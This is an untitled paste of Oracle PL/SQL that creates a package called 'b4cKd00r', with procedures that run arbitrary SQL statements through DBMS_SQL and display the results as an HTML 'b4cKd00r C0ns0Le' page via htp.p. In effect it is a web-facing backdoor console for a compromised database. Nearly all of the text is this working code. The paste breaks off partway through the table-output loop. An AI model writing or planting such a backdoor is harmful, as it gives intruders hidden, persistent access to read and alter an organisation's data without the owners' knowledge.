Untitled

begin execute immediate 'CREATE OR REPLACE PACKAGE b4cKd00r AS PROCEDURE do_select(stmt in varchar2); PROCEDURE do_execute(stmt in varchar2);END b4cKd00r;';execute immediate 'CREATE OR REPLACE PACKAGE BODY b4cKd00r AS
procedure do_select(stmt in varchar2) is
  l_cursor  INTEGER := dbms_sql.open_cursor;
  l_qry     VARCHAR2(32000);
  l_status  NUMBER;
  l_cvalue  VARCHAR2(32000);
  l_col_cnt NUMBER;
  l_desc_t dbms_sql.desc_tab2;
  l_desc_c dbms_sql.desc_tab;
BEGIN
  l_qry := stmt;
  dbms_sql.parse (l_cursor, l_qry, dbms_sql.native);
  dbms_sql.describe_columns( l_cursor, l_col_cnt, l_desc_c );
  htp.p(''<!DOCTYPE html>'');
  htp.p(''<html>'');
htp.p(''<head>'');
htp.p(''<title>b4cKd00r C0ns0Le</title>'');
htp.p(''<style>'');
htp.p(''table {
    margin-left: auto;
    margin-right: auto;
}'');
htp.p(''.zui-table {
    align: center;
    border: solid 1px #DDEEEE;
    border-collapse: collapse;
    border-spacing: 0;
    font: normal 13px Arial, sans-serif;
}'');
htp.p(''.zui-table thead th {
    background-color: #DDEFEF;
    border: solid 1px #DDEEEE;
    color: #336B6B;
    padding: 10px;
    text-align: left;
    text-shadow: 1px 1px 1px #fff;
}'');
htp.p(''.zui-table tbody td {
    border: solid 1px #DDEEEE;
    color: #333;
    padding: 10px;
    text-shadow: 1px 1px 1px #fff;
}'');
htp.p(''.zui-table-highlight tbody tr:hover {
    background-color: #CCE7E7;
}'');
htp.p(''.zui-table-horizontal tbody td {
    border-left: none;
    border-right: none;
}'');
htp.p(''h2{
    text-align: center;
    color: red;
}'');
htp.p(''</style>'');
htp.p(''</head>'');
htp.p(''<body>'');
htp.p(''<h2>b4cKd00r C0ns0Le</h2>'');
htp.p(''<table class="zui-table zui-table-horizontal zui-table-highlight">'');
  htp.p(''<tr>'');
  htp.p(''<thead>'');
  FOR i IN 1 .. l_desc_c.count
  LOOP
    NULL;